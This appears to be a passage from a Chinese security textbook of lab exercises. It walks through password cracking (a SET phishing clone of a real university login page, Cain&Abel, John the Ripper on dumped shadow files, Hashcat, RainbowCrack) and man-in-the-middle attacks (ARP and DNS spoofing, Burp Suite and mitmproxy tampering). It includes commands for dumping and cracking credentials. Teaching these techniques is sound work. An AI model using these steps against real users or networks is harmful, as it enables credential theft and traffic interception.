第5章网 络 入 侵 通过信息收集和网络扫描收集到足够的目标信息后,攻击者即可开始实施网络入侵。攻击的目的一般分为信息泄露、完整性破坏、拒绝服务和非法访问共四种基本类型,攻击的方式主要包括口令破解、中间人攻击、恶意代码攻击、漏洞破解、拒绝服务攻击等。 5.1口 令 破 解 5.1.1实验原理 口令破解是指对经过散列算法加密的账户口令进行破解的过程,破解方式可以分为暴力破解、 字典破解和彩虹表破解。 暴力破解是穷举口令字符空间对加密后的口令进行离线破解的一种正向口令猜测过程。当口令生成的散列值与待破解的口令散列值相同时,则得到正确的口令。字典破解利用口令字典并结合口令破解工具进行。口令字典包含许多人们习惯性设置的口令,如生日、电话号码、姓名拼音等,这样可以提高破解的成功率和命中率。但是,如果口令没有任何规律或者比较复杂,基本不可能包含在口令字典中,这时字典破解就无法成功。 彩虹表是一张预先生成的、包含部分口令和其对应散列值的表。彩虹表破解是直接在彩虹表中查询待破解的散列值,如果在表中找到,则返回对应的明文口令,它的原理与暴力破解相反,是一种逆向猜测的过程。 另外,社会工程学方法也可用于获取用户口令。攻击者伪造网页通过“钓鱼”的方式诱使用户在高度逼真的页面中输入真实口令,然后通过隐藏的脚本将用户口令秘密发送给攻击者,进而窃取用户的真实口令。 5.1.2实验目的 ① 了解散列算法的加密原理以及使用散列算法加密的网络协议,如SMB、NTLM、SSH、VNC、MYSQL、MSSQL等。 ② 掌握三种基本的口令破解方法,了解如何使用社会工程学工具窃取用户口令。 ③ 熟练使用常见口令破解工具进行暴力破解、字典破解和彩虹表破解。 ④ 通过口令破解实验,提高安全意识,了解口令的设置原则以及账户口令策略的安全设置。 5.1.3实验内容 ① 学习应用社会工程学工具(SocialEngineering Toolkit,SET)制作钓鱼网站,窃取用户口令。 ② 学习应用Cain&Abel工具进行实时监听,当用户远程访问Windows系统时,窃取用户使用的Windows口令的加密信息,并进行破解得到对应的明文口令。 ③ 学习应用John the Ripper工具破解Linux和Windows账户口令。 ④ 学习应用Hashcat工具破解Linux和Windows账户口令。 ⑤ 学习应用RainbowCrack工具进行彩虹表口令破解。 5.1.4实验环境 ① 操作系统: Kali Linux v3.30.1(192.168.57.128)、Windows 7 SP1旗舰版(192.168.57.129)和Windows XP v2003 SP2 (192.168.57.130)。 ② 工具软件: SET、Cain&Abel v4.9.52、John the Ripper v1.8.0jumbo1、pwdump7 v7.1、Hashcat v5.1.0和RainbowCrack v1.7。 5.1.5实验步骤 1. 钓鱼获取用户口令 SET是一款使用Python开发,基于命令行菜单的开源工具集,它可以传递多种攻击载荷到目标系统,如收集信息或者进行中间人攻击等,本实验仅使用SET进行模拟钓鱼攻击。 首先,伪造网站jwc.jxnu.edu.cn的用户登录页面并发布。然后,通过链接传播的方式诱使目标用户访问该虚假页面并输入真实口令。当用户输入口令并提交时,隐藏的脚本程序会自动将口令发送给预先设置好的地址,最后攻击者成功获得口令信息。具体实验步骤如下。 ① 运行终端程序,输入setoolkit开启SET,如图51所示。 图51启动SET ② SET运行后,会弹出功能菜单,包括“社会工程攻击”“渗透测试”“第三方模块”等等6个命令,如图52所示,选择社会工程攻击命令。 图52选择功能 ③ SET会显示与社会工程攻击有关的攻击载荷菜单,如图53所示。“钓鱼攻击”属于“网站攻击向量”,所以输入数字“2”,选择“网站攻击向量”。 图53选择攻击载荷 ④ SET会显示其支持的各种网站攻击向量,如图54所示,包括“Java Applet攻击”“基于Metasploit的浏览器攻击”“证书收集攻击”“标签劫持攻击”等命令,实验选择第3项即“证书收集攻击”(口令是一种证书)。 ⑤ SET支持三种攻击方式来实现“证书收集”,如图55所示,分别是“网站模板”“网站克隆”和“自定义导入”,实验选择第2项即“网站克隆”方式,直接对目标网站的首页进行克隆并适当修改。 图54选择网站攻击方法 图55选择证书收集方式 ⑥ 根据SET给出的提示信息,首先设置用于接收口令信息的IP地址,如图56所示,设置为Kali主机的IP地址192.168.57.128,接着设置被克隆网站的URL,即我们希望冒充的目标网站,以网站“江西师范大学教务在线”的登录页面为例,地址为http://jwc.jxnu.edu.cn/Portal/LoginAccount.aspx?t=account。至此,钓鱼页面的设置基本完成,SET会自动克隆目标网页,并且进行相应修改,包括秘密记录用户口令并且发送给攻击者。 图56网站克隆设置 ⑦ 可以将伪造页面的IP地址192.168.57.128以链接的形式发送给目标用户,当用户访问了该地址,将会看到高度逼真的“钓鱼”网页,如图57所示。 图57钓鱼页面效果 ⑧ 当用户输入真实口令时,隐藏的脚本会将用户口令传输给预先设置的接收口令信息的IP地址192.168.57.128,并自动显示出来,如图58所示。 图58钓鱼攻击结果 【思考问题】 (1) 接收口令的IP地址与钓鱼页面的IP地址是否可以不相同?为什么? (2) 使用WireShark协议分析工具,分析SET的网络通信过程。 (3) 检查SET克隆后的页面源码,分析SET如何实现秘密发送口令给攻击者。 【实验探究】 (1) 尝试克隆其他网站实现钓鱼攻击。 (2) 探究如何以发送邮件的方式实现钓鱼攻击。 2. 应用Cain&Abel监听并破解Windows口令 Cain&Abel是Windows下最好的口令监听和破解平台,功能异常强大,不仅提供各种协议的口令监听、弱口令攻击,同时支持大部分散列算法的口令破解,包括暴力破解和彩虹表破解。它可以远程截取并破解Windows的屏保口令、远程共享口令、SMB口令、Remote Desktop口令、NTLM Session Security口令等。但是该工具已经停止更新,最新的版本只能适用于Windows 2003 Server/XP或早期系统。 实验监听用户远程访问Windows,截获输入的Windows账户的明文信息和口令的加密信息,并利用Cain&Abel的破解模块进行暴力或者字典破解。具体实验过程如下。 ① 在Windows XP主机192.168.57.130运行Cain&Abel后,必须首先单击工具栏上的Start Sniffer按钮,开启网络监听模式,如图59所示,然后在顶部选项卡列表中选中Sniffer选项卡。如果在底部选项卡列表中选中Hosts选项,可以查看监听到的主机信息。从底部选项卡列表中选中Passwords选项卡,准备进行口令截取。在远程访问未开始之前,截获的各类协议报文数都为0,如图510所示。 图59开启监听模式 图510口令截取功能界面 ② 从Windows 7主机远程访问Windows XP主机,按组合键Win + R,打开命令“运行”窗口,如图511所示,输入Windows XP主机的IP地址\\192.168.57.130,在弹出的对话框中输入账号和口令发起远程连接请求。 图511发起远程连接 ③ 远程连接成功后,查看Cain&Abel的监听界面,发现截获到了一个SMB协议的报文,因为Windows网络访问使用的是Server Message Block(SMB)协议。如图512所示,在左边列表中显示SMB协议的报文数量为1,其他协议的报文数量依然为0,可以看到具体的报文截获时间、客户和服务器的IP地址、账号的明文信息以及口令的加密信息。 图512截获用户账号明文和口令密文 ④ 选中该报文并且单击鼠标右键弹出功能菜单,选择Send to Cracker命令,即可将SMB口令的加密信息发送给破解模块进行破解。从顶部选项卡列表中选中Cracker选项卡,进入“破解模块”功能界面,如图513所示。 图513选择破解功能模块 ⑤ 在左边的加密类型列表中显示该口令的加密信息属于NTLMv2 Hashes加密类型,口令的加密类型由Cain&Abel自动识别。在右边列表中选择该口令,并且单击鼠标右键,弹出功能菜单,可以选择使用“字典破解(Dictionary Attack)”还是“暴力破解(BruteForce Attack)”。选择“暴力破解”,进入暴力破解模块,如图514所示。 图514设置暴力破解口令类型和长度 ⑥ 暴力破解需要设置口令的字符集模式和长度范围,实验设置字符集模式为纯数字,长度为1~6位。单击Start按钮即可开始破解,Cain&Abel会估计并显示破解需要的大致时间。最终的破解结果如图515所示,得到明文口令为123456。 图515暴力破解结果 【思考问题】 (1) 暴力破解时,如果字符集不准确或者口令长度范围不正确,会出现什么情况? (2) 将口令长度设置为8个字符,其中包含大小写字母和特殊字符,请估计需要测试多少种可能的组合?然后使用Cain&Abel验证你的想法。 【实验探究】 (1) 尝试对Cisco IOS、Windows NTLM散列算法加密的口令进行暴力破解。 (2) 尝试把图513的暴力破解方法换成字典破解方法进行实验。 3. 应用John the Ripper破解Linux和Windows账户口令 John the Ripper(以下简称John)是一款经典免费的开源软件,支持大多数的加密算法如MD4、MD5、DES等,常常用于破解较弱的Linux/Windows账户口令,速度较慢且不支持彩虹表破解。 Kali Linux集成了John工具,Linux的账户口令信息存放在路径名为/etc/shadow的文件中。为了防止修改shadow文件,通常把shadow文件的口令散列值导出至新的文本文件,然后开始口令破解。实验过程如下。 ① 新增测试用户。运行终端程序,如图516所示,输入useradd命令新建一个测试用户test,输入passwd命令设置账户口令为test111。 图516Linux新增用户示例 ② 输入cat命令将shadow文件的内容导出至文本文件info.txt,如图517所示。 图517John暴力破解 ③ 使用John工具对info.txt中存储的账户口令信息进行暴力破解 可能会遇到错误信息No password hashes loaded,通常是John版本不支持该类型哈希值的破解,需要选择更新版本(建议使用John1.7.9jumbo)。,中途可以按组合键Ctrl+C终止破解过程。最后得到破解的明文口令,总共有两个,一个是test账户的口令为test111,另一个是root账户的口令为123456。 John也支持使用字典破解方式,使用“wordlist”参数选项可以指定具体的口令字典,同时也提示John采用口令破解模式,如图518所示,使用John自带的口令字典文件/usr/share/john/password.lst也可以破解root账号的口令。使用“show”参数选项可以事后查看已经破解的明文账号口令。 图518John字典破解 John也可用于破解Windows账户口令,但是需要借助pwdump7工具将Windows账户口令信息导出至文本文件,然后才可以进行口令破解,具体过程如下。 ① 输入Windows命令net user,新建测试用户test,口令为12345,如图519所示。 图519新增Windows账号 ② 使用pwdump7工具导出Windows账号信息 新建用户和使用pwdump7都需要管理员权限才能完成。至文本文件info.txt,可以输入type命令查看文件中的口令散列值,如图520所示。 图520pwdump7导出Windows账号信息 ③ 采用口令字典模式对文件中的账户口令散列值进行破解,破解结果如图521所示。 图521Windows口令破解 【实验探究】 (1) 尝试在Windows平台下破解Linux账户口令。 (2) 尝试在Linux平台下破解Windows账户口令。 4. 应用Hashcat破解Windows口令 Hashcat是目前世界上最快的基于GPU的口令破解工具,支持Linux和Windows 7/8/10平台。使用Hashcat时,必须指明具体的散列算法和破解方式等信息。 Hashcat需要OpenCL库的支持,如果显卡驱动没有OpenCL库,那么会出现如图522所示的错误,提示系统不具有GPU运行环境,报告“Cannot find an OpenCL ICD loader library”错误提示。如果无法安装OpenCL库,可以使用force选项强制Hashcat执行,即不使用GPU加速去执行Hashcat,代价是破解速度会变慢。 图522Hashcat运行错误提示 配置好OpenCL环境后,即可运行Hashcat,可以使用“help”参数选项,完整查看详细的帮助文档,如图523所示,选项“m”指明口令的散列算法类型,选项“a”指明采用哪种口令破解方式。Hashcat支持几十种散列算法类型,使用不同的数字表示,例如0对应MD5,100对应SHA1,1000对应NTLM等。Hashcat也支持几种组合破解,使用不同的数字表示,例如0对应Straight表示字典破解,1对应Combination表示组合破解,3对应Bruteforce表示暴力破解等。 图523查看Hashcat完整帮助文档 下面分别介绍如何应用Hashcat进行Windows口令的字典破解和暴力破解,假设已经使用pwdump7把Windows口令信息导入至文件info.txt中。 字典破解如图524所示,输入命令hashcat64 a 0 m 1000 info.txt example.dict。选项“a 0”表示字典破解,选项“m 1000”表示散列算法类型是Windows系统的NTLM算法,example.dict指定字典文件名 这里example.dict存在于当前目录中,否则必须指明完整的路径。,显示口令为12345。与John类型相同,Hashcat也可以使用“show”命令在事后查看哪些口令已经被破解,如图525所示。 图524Hashcat字典破解Windows口令 图525检查已经破解的口令 与Cain&Abel类似,Hashcat暴力破解需要预先指定口令的长度范围和字符模式,如图526所示。Hashcat使用基于字符掩码的方式来组合不同的字符集模式,相比Cain&Abel更加灵活。例如,?l表示一个小写字母,?u表示一个大写字母,?d表示一个数字,?2表示自定义字符集合中的一个任意字符。2 ?l?d?u定义了一个字符集合,其中包括大小写字母和数字。?2?2?2?2?2?2表示6位长度口令,每个字符可能是大小写字母或数字。Hashcat还支持使用字符模式文件,其中每一行都表示一个固定长度的字符模式,用户可以自行定义每个字符的模式。 图526暴力破解模式 Hashcat的暴力破解速度非常快,如图527所示,仅需要22s即破解出包含大小写字母和数字的组合口令,破解得到明文口令为Aa1234。 图527Hashcat 暴力破解结果 【实验探究】 如何使用Hashcat破解Linux账户口令,注意Linux使用的散列算法类型。 5. 应用RainbowCrack进行彩虹表破解 RainbowCrack使用彩虹表对口令进行破解,附带rtgen工具用于生成自定义的彩虹表。它同时支持命令行和图形化方式进行破解,分别是rcrack和rcrack_gui。 彩虹表可以自行创建,也可以直接从其官网下载。使用rtgen生成自定义彩虹表的命令格式如下。 rtgen 散列类型 字符类型 最小位数 最大位数 表索引 链长度 链数量 索引块 其中各参数的作用如下。 散列类型包括LM、NTLM、MD5、SHA1、SHA256等; 字符类型包括数字(Numeric)、字母+数字(alphanumeric)、小写字母(loweralpha)、小写+大写字母(mixalpha)、小写+大写+数字(mixalphanumeric)等; 最小位数和最大位数: 表示口令的长度范围; 表索引: 设置不同的表索引,用于解决哈希链的碰撞问题; 链长度: 彩虹表由多条彩虹链组成,链越长,则存储的口令越多,但是生成时间也越长; 链数量: 彩虹链的数量; 索引块: 一张巨大的彩虹表分别存储在多个文件中,需要设置不同的索引以快速查找。 以下命令生成一个数字类型的Windows口令彩虹表,结果如图528所示。 rtgen ntlm numeric 6 6 0 1000 5000 0#生成6位NTLM类型的数字彩虹表 图528rtgen生成彩虹表示例 得到彩虹表之后,即可在命令行输入rcrack命令进行口令破解,如图529所示,对md5.txt中存放的MD5口令进行彩虹表破解,破解结果为12345。命令中使用“.”表示在当前目录中搜索可用的彩虹表。 图529rcrack 破解MD5口令 也可以执行rcrack_gui程序进行图形化口令破解,如图530所示。首先打开Files菜单,选择Load NTLM Hashes from PWDUMP file命令,装入已经由pwdump7工具导出的存放Windows账户口令的文件,然后打开Rainbow Table菜单,选择Search Rainbow Table命令,从打开的对话框中选择已经生成的NTLM类型彩虹表,rcrack_gui程序会立刻进行破解,如图531所示,破解得到的口令为123456。 图530RainbowCrack图形化界面 图531RainbowCrack搜索彩虹表并执行破解 【实验探究】 使用6位字母+数字口令创建一个Windows账户,生成一张6位NTLM类型的字母+数字的彩虹表,并用RainbowCrack破解新建账户的口令。5.2中间人攻击 5.2.1实验原理 中间人攻击(ManintheMiddleAttack,MITM)的首要任务是截获通信双方的数据,然后进行篡改数据攻击,主要的数据截获方式有ARP欺骗、DNS欺骗和Web欺骗。ARP欺骗指攻击者发送虚假的ARP请求或应答报文,使得目标主机接收错误的IP和MAC绑定关系,进而实现双方通信数据的截获攻击。DNS欺骗指攻击者根据DNS的工作原理,通过拦截和修改DNS的请求和应答报文进行定向DNS欺骗,也就是说,只有主机查询特定域名时,才修改返回的DNS应答为虚假IP,其他情况还是返回真实的DNS应答。当主机访问特定域名时,其实访问的是攻击者指定的IP地址,从而实现DNS欺骗。 Web欺骗指攻击者通过在目标主机和服务器之间搭建Web代理服务器,在截获双向通信数据的基础上,制造虚假的页面(包含虚假链接、表单、脚本)或恶意的代码等使得目标主机接受虚假信息,执行攻击者期望的动作。许多代理服务工具专门用于页面修改,如Buprsuite和mitmproxy,使用它们可以轻松对截获的网页进行任何修改。有的工具如bdfproxy可以直接将目标主机通过Web远程下载的合法程序或工具修改为恶意代码,从而隐蔽地将恶意代码提供给目标主机。 5.2.2实验目的 ① 熟练掌握ARP欺骗、DNS欺骗以及Web欺骗的原理和操作方法。 ② 熟练掌握MITM攻击的执行流程,熟练使用Cain&Abel、dnschef、Ettercap、BurpSuite、mitmproxy等工具实现MITM攻击。 ③ 掌握识别和防御MITM的技术原理。 5.2.3实验内容 ① 学习应用Cain&Abel工具实现ARP欺骗攻击并截获双向通信数据。 ② 学习应用Cain&Abel工具实现DNS欺骗攻击。 ③ 学习应用dnschef工具实现DNS欺骗攻击。 ④ 学习应用Ettercap工具实现DNS欺骗攻击。 ⑤ 学习应用BurpSuite工具实现Web欺骗攻击。 ⑥ 学习应用mitmproxy工具实现Web欺骗攻击。 5.2.4实验环境 ① 操作系统: Kali Linux v3.30.1(192.168.57.128)、Windows 7 SP1旗舰版(192.168.57.129)和Windows XP v2003 SP2 (192.168.57.130)。 ② 工具软件: Cain&Abel v4.9.52、dnschef v0.3、Ettercap v0.8.2、Burpsuite v1.7.35和mitmproxy v4.0.4。 5.2.5实验步骤 1. 应用Cain&Abel实现ARP欺骗 Cain&Abel不仅可以进行口令破解,也可以实现ARP欺骗攻击。实验将展示如何应用Cain&Abel工具对Windows XP靶机192.168.57.129进行ARP欺骗,并实时获取它与网关192.168.57.2之间的通信数据。 ① 首先扫描所有局域网中的在线主机,因为根据ARP协议的特点,攻击者必须与受害者位于相同的局域网,所以首先需要寻找受害者位置。单击工具栏上的Start Sniffer按钮开启Cain&Abel的嗅探功能,从顶部选项卡列表中选中Sniffer选项卡,接着从底部选项卡列表中选中Host选项卡,单击鼠标右键,弹出对话框,单击“确定”按钮开始扫描局域网主机。 ② 在实施欺骗前,先在靶机上输入arp a命令查看IP和MAC的现有映射关系,结果如图532所示,此时的映射关系中不存在多个IP映射到同一个MAC地址的情况。 图532欺骗前的ARP表 图533ARP欺骗功能界面 ③ 从底部选项卡列表中选中ARP选项卡,进入ARP欺骗的攻击界面,如图533所示。单击工具栏的“+”按钮,系统会弹出对话框要求新建一条ARP欺骗路由。其中左右两个列表是可选的欺骗目标,右边列表可以选择多个目标,左边列表只可以选择一个,Cain&Abel会拦截左边目标与选择的所有右边目标的双向通信。实验在左边列表中选择局域网网关,右边选择靶机,Cain&Abel将截获靶机与网关之间的所有通信数据。 ④ 单击工具栏的Start ARP按钮实施对靶机的ARP欺骗,如图534所示。 图534实施ARP欺骗 ⑤ 验证ARP欺骗是否成功,在靶机上再次查看IP和MAC的映射关系,结果如图535所示。在ARP缓存中,网关192.168.57.2对应的MAC地址已经变成主机192.168.57.130 的MAC地址,说明ARP欺骗成功,攻击者可以截获靶机和网关之间的通信数据了。 图535验证ARP欺骗结果 ⑥ 检查ARP欺骗的效果。在靶机上访问“江西师范大学办公自动化系统”,输入账号和口令登录,同时打开Cain&Abel的监听界面,即可直接监听并实时显示截获的账号和口令信息,如图536所示。 图536Cain&Abel基于ARP欺骗截获账户和口令信息示例 【实验探究】 尝试截获局域网下从某台主机远程访问另外一台主机的账号和口令,并结合5.1.5节中的Cain&Abel破解实验进行口令破解。 2. 应用Cain&Abel实现DNS欺骗 在使用ARP欺骗成功后,Cain&Abel支持进一步进行DNS欺骗。 ① 在ARP攻击界面的左边列表框中选取APRDNS表项,会出现DNS欺骗的映射列表窗口,单击鼠标右键,在弹出的对话框中“增加”或者“编辑”虚假的DNS域名和IP映射,即可完成DNS欺骗配置,如图537所示,增加域名www.xxx.com与IP地址172.16.8.6的映射关系。 图537Cain&Abel的DNS欺骗设置 ② 检查靶机是否确实会得到虚假的DNS应答。在靶机上打开命令行窗口,输入ping www.xxx.com,检查返回的结果,如图538所示,可以看到返回的在Cain&Abel上配置的虚假映射172.16.8.6。打开浏览器访问www.xxx.com,发现返回的页面是172.16.8.6的网站界面,证明DNS欺骗成功。 图538Cain&Abel的APR_DNS欺骗成功示例 【实验探究】 (1) 尝试配置多条虚假的DNS和IP的映射,检查靶机是否被成功欺骗。 (2) 打开协议分析工具,分析DNS欺骗产生的报文序列,思考DNS欺骗成功的原因。 3. 应用dnschef实现DNS欺骗 dnschef是一款配置非常灵活、功能十分强大的命令行式DNS代理程序,它支持正向和反向过滤,运行时实际上就是一个简单的DNS服务器。攻击者只需要配置虚假的A、MX和NS记录即可,它只会对符合记录的请求响应虚假应答,使用Python编写,可以运行在任何系统平台。 实验在Kali Linux平台用命令行方式实现对域名www.baidu.com的DNS欺骗,欺骗配置过程如下。 ① 由于实现DNS欺骗的Kali主机必须转发正常的DNS请求报文给真实的DNS服务器,仅仅对指定域名返回虚假的IP,所以Kali主机必须开启报文转发功能。在Linux下,只需要将/proc/sys/net/ipv4/ip_forward文件的内容设置为1即可开启报文转发功能,输入命令echo 1 > /proc/sys/net/ipv4/ip_forward即可。 ② dnschef只是DNS代理程序,为了成功实现欺骗,必须首先截获双方的通信报文,在Kali中可以使用arpspoof工具完成ARP欺骗,如图539所示。“t 192.168.57.129”指定欺骗目标是192.168.57.129,“r 192.168.57.2”指明网关是192.168.157.2,表示分别向这两个IP地址不断发送ARP应答,建立虚假的IP和MAC绑定关系,使得192.168.57.129 与192.168.57.2之间的全部通信都会经过Kali主机,实现通信拦截。 图539dnschef 实现DNS欺骗的前期配置 ③ 此时,截获的所有报文都会被Kali主机正常转发,但是dnschef需要Kali主机把DNS查询请求报文转发给自己。因此,实验使用iptables工具完成报文重定向,把拦截的DNS请求报文转发给dnschef的监听端口,当dnschef收到DNS请求报文后,它会进行分析并且返回虚假的A记录、MX记录或者NS记录。iptables命令如下。 iptables -t nat -A PREROUTING -i eth0 -p udp --dport 53 -j REDIRECT --to-ports 53 该命令的作用是在正常转发报文之前,修改报文的目标IP地址为Kali主机,把所有目标端口是53号端口的UDP报文转发到Kali主机的53号端口,即dnschef的默认监听端口。 ④ 运行dnschef工具,完成DNS欺骗设置,如图540所示。使用“fakedomains www.baidu.com”和“fakeip 172.16.8.6”命令参数,将域名www.baidu.com设置为虚假的IP地址172.16.8.6,使用“nameservers 183.232.231.172”命令参数,将其他的DNS请求转发给真实的DNS服务器,地址为183.232.231.172。“i 192.168.57.128”指示dnschef仅处理目标IP是192.168.57.128的DNS请求报文,其他报文转发给真实的DNS服务器。 图540dnschef配置DNS欺骗效果示例 ⑤ 当用户在靶机192.168.57.129访问域名www.baidu.com时,dnschef会返回虚假的A记录172.16.8.6,成功实现DNS欺骗。 【实验探究】 (1) 如何配置多个域名IP的虚假映射?请进一步探索dnschef的有关配置。 (2) 如果不指明“nameservers”参数,会出现什么情况? 4. 应用Ettercap实现DNS欺骗 Ettercap是一款在MITM攻击中广泛使用的工具,它与Cain&Abel功能类似,但是通常只在Linux/UNIX平台下运行,它不仅有强大的嗅探功能,还支持多种局域网欺骗方法,并提供了许多MITM攻击插件,包括DNS欺骗插件。实验应用Ettercap的DNS欺骗插件实现对多个域名的DNS欺骗,配置过程如下。 ① 首先编辑域名和IP的虚假映射关系,使用gedit或vi等文本编辑器对配置文件/etc/ettercap/etter.dns进行配置,增加新的DNSIP映射,如图541所示。第1列是主机名或者域名,通配符“*”可表示任意名字,如*.microsoft.com表示所有以microsoft.com为后缀的域名。第2列是DNS的记录类型,A表示主机类型记录,PTR表示反向域名解析类型记录,第3列是主机或域名对应的IP地址。 图541Ettercap DNS配置文件示例 ② 开启监听模式,并扫描局域网中的在线主机,从扫描结果中寻找目标主机。首先打开Sniff菜单,选择Unified sniffing命令,在打开的对话框中选择eth0网卡开启监听,如图542所示。接着打开Hosts菜单,选择Scan for hosts命令,扫描局域网主机,然后选择Hosts list命令,可以查看扫描结果中的所有在线主机信息,如图543所示。 图542Ettercap开启监听模式 图543Ettercap扫描局域网主机并查看结果 ③ 开启ARP欺骗,拦截靶机与网关之间的双向通信数据,如图544所示。在Hosts list选项卡中可以看到所有在线主机,首先在靶机IP地址192.168.57.129上单击鼠标右键,在弹出菜单中选择Add to Target 1命令,然后在网关IP地址192.168.57.2上单击鼠标右键,在弹出菜单中选择Add to Target 2命令,分别设置要拦截的两个目标IP地址。接着打开Mitm菜单,选择ARP poisoning命令,在弹出的对话框中选中 Sniff remote connections复选框,开启“嗅探远程连接”模式,最后单击“确定”按钮,完成ARP欺骗设置,如图545所示,Ettercap会提示正在对两个目标进行ARP欺骗。 图544Ettercap 配置拦截目标的IP地址 图545Ettercap ARP欺骗设置 ④ 最后激活DNS欺骗插件。打开Plugins菜单,选择Manage the plugins命令,Ettecap会显示所有支持的插件列表,如图546所示。“*”表示该插件已经激活,dns_spoof就是Ettercap的DNS欺骗插件,双击该列表项即可激活插件开始欺骗攻击,如图547所示。 图546Ettercap 插件管理 图547Ettercap DNS插件激活 ⑤ 测试。在靶机的命令行窗口中输入命令ping www.baidu.com,Ettercap会显示相应的提示信息“dns_spoof:A[www.baidu.com] spoofed to [172.16.8.6]”,如图548所示,说明成功实施一次DNS欺骗,对域名www.baidu.com的请求返回虚假IP应答172.16.8.6。 图548Ettercap DNS欺骗成功示例 【实验探究】 (1) 图545显示Ettercap支持DHCP欺骗,尝试应用相应插件完成DHCP欺骗。 (2) 图547显示Ettercap支持chk_poison插件,用于检查欺骗是否成功,尝试激活该插件并分析相应报文序列,思考该插件的工作原理。 5. 应用Burpsuite实现Web欺骗 Burpsuite是用于攻击Web 应用程序的集成平台,它包括一个拦截HTTP/HTTPS的代理服务器组件,允许攻击者拦截、查看和修改原始HTTP报文。实验将Burpsuite设置为透明代理(即浏览器不需要做任何的代理配置),截获并篡改服务器主机www.jxnu.edu.cn返回给靶机的响应页面,从而实现对靶机的Web欺骗。实验过程如下 实验过程省略了对靶机的通信拦截步骤,与dnschef配置实验的第①步和第③步相似,只是端口和协议不同。。 ① 执行Burpsuite程序,显示如图549的功能界面,从选项卡列表中选择Proxy选项卡,接着选择Options选项卡,开始配置代理选项。 图549Burpsuite代理配置 ② 首先配置代理服务器具体在哪些IP地址和端口开启服务,是否透明,是否支持认证等,Burpsuite默认在127.0.0.1:8080开启服务,可以单击Add按钮增加新的服务配置或者在列表中选取某个表项并单击Edit按钮进行修改,列表中的Running列表示该配置是否已经生效并提供服务。 ③ 选中默认表项并且单击Edit按钮修改,弹出窗口如图550所示,选中Binding选项卡配置端口号和服务绑定的IP地址,可以指定所有IP地址,也可以指定具体某个IP地址。 图550Burpsuite 配置代理绑定的IP地址和端口 ④ 选中Request handling选项卡,配置如何把接收到的请求重定向给其他主机和端口,是否强制使用SSL,是否使用透明代理模式。如图551所示 可以进一步选择Certificate配置代理的认证方式。,表示打开透明代理模式,不进行重定向,不强制使用SSL。 图551Burpsuite透明代理和重定向配置 ⑤ 关闭对话框,返回Options选项卡窗口,继续配置代理的拦截规则,决定如何拦截HTTP请求,如图552所示。单击Add按钮可以增加新的规则,单击Edit按钮可以编辑现有规则。 图552Burpsuite拦截HTTP请求的配置界面 ⑥ 单击Add按钮弹出对话框增加一条新规则,如图553所示,布尔类型指明该规则与其他规则的关系是同时满足(And)还是只需要满足一条(Or),匹配关系(Relationship)包括精确匹配、不匹配和模糊匹配等,匹配类型指具体匹配HTTP请求的哪个部分,如URL、HTTP方法或域名等,匹配条件是正则表达式形式的具体字符串。图中增加一条精确匹配域名www.jxnu.edu.cn的规则,当HTTP请求同时满足该规则与其他已有规则时,Burpsuite才会拦截。 图553Burpsuite 拦截规则配置对话框 ⑦ 接着配置对HTTP应答的拦截规则,方式与HTTP请求的拦截规则配置类似,如图554所示。只是匹配关系增加了与HTTP请求之间的关系,只有HTTP请求被拦截后才拦截对应的HTTP应答,匹配类型增加了与HTTP应答相关的类型如状态码、内容类型等。 图554Burpsuite配置HTTP应答的拦截规则 ⑧ 代理选项配置完成后,选中图549中的Intercept选项卡,进行“拦截动作”设置,显示如图555所示的功能界面。图中Intercept is on按钮已经被按下,表示拦截功能已经开启,如果再次单击该按钮,Burpsuite会关闭拦截功能,同时把按钮名称改为Intercept is off。当拦截功能开启时,Burpsuite会把拦截到的请求和应答进行排队,逐个显示在窗口中,等待用户动作。图555表明现在拦截到一个来自219.229.249.6的HTTP应答 状态码304表示客户端已有页面缓存,可以清除浏览器缓存并重新拦截,以获得最新的页面信息。,用户可以修改该应答然后单击Forward按钮将修改后的HTTP应答转发给原始请求方,或者单击Drop按钮不转发任何应答给原始请求方,还可以单击Action按钮与其他Burpsuite组件配合,执行不同攻击动作。Raw、Headers和Hex等标签页指可以用不同方式显示拦截的请求和应答,方便用户对拦截的信息进行修改。 图555Burpsuite拦截功能界面 ⑨ 在靶机上访问www.jxnu.edu.cn页面,然后在Burpsuite上对拦截的所有请求都直接单击Forward按钮转发,仅拦截包含主页内容的HTTP应答,接着将页面中的新闻标题“学校纪委集体学习充电”修改为“This is a test”,最后单击Forward按钮将修改后的HTTP应答转发给靶机,如图556所示。 图556Burpsuite拦截并修改HTTP应答 ⑩ 对比Web欺骗前后显示的不同页面信息,如图557所示,表明HTTP应答被成功篡改。 图557Burpsuite执行Web欺骗结果示例 【思考问题】 (1) 为了拦截通信数据,配置ARP欺骗需要进行双向欺骗吗?为什么? (2) 如何配置iptables,把正常的HTTP请求转发给Burpsuite? 【实验探究】 如何配置合适的拦截规则,仅拦截和修改指定的HTTP页面内容,其他都由Burpsuite自动转发。 6. 应用mitmproxy实现Web欺骗 mitmproxy是一款基于命令行的文本界面代理工具,专用于中间人攻击,功能与Burpsuite类似,其命令行形式更有利于隐蔽攻击。实验应用mitmproxy的透明代理模式,截获并篡改服务器主机www.jxnu.edu.cn返回给靶机的响应页面,从而实现对靶机的Web欺骗。 实验过程如下 实验过程省略了对靶机的通信拦截步骤,与dnschef配置实验的第①步和第③步相似,只是端口和协议不同。。 ① 输入命令mitmproxy mode transparent showhost以透明代理方式执行mitmproxy,“mode transparent”参数选项表示透明模式,“showhost”参数选项指示mitmproxy匹配URL中的Host字段对HTTP请求和应答进行拦截,mitmproxy默认在所有IP地址和80端口运行代理服务。 ② 设置拦截过滤规则,如图558所示,在命令行提示符前输入命令“i”,表示新增一条拦截规则。mitmproxy会给出提示符“set intercept=”,规则“~u www.jxnu.edu.cn & ~t text/html”表示只拦截Host值为www.jxnu.edu.cn且页面类型为text/html的应答 mitmproxy的拦截规则较为复杂,有兴趣的读者可以进一步深入阅读帮助文档。。 图558mitmproxy过滤规则设置 ③ 在靶机浏览器中访问www.jxnu.edu.cn,会看到没有任何响应,因为HTTP应答已被mitmproxy拦截(在控制端显示为红色字体),如图559所示。 图559mitmproxy拦截应答示例 ④ 接着修改拦截的HTTP应答,在列表中按上、下方向键选取需要修改的应答,按Enter键打开Flow Details窗口,如图560所示,按上、下方向键然后按Enter键选择需要编辑拦截的HTTP请求还是拦截的HTTP应答。选择“Response intercepted”命令表示“编辑应答”,输入“e”表示“开始编辑”,系统会弹出Part菜单,用户可以选择具体编辑HTTP应答的哪些部分。输入“a”表示编辑“responsebody”,打开实际的“页面编辑”窗口(与vi界面类似),然后即可随意编辑应答页面的内容,如图561所示。 图560mitmproxy修改返回HTTP应答示例 图561mitmproxy 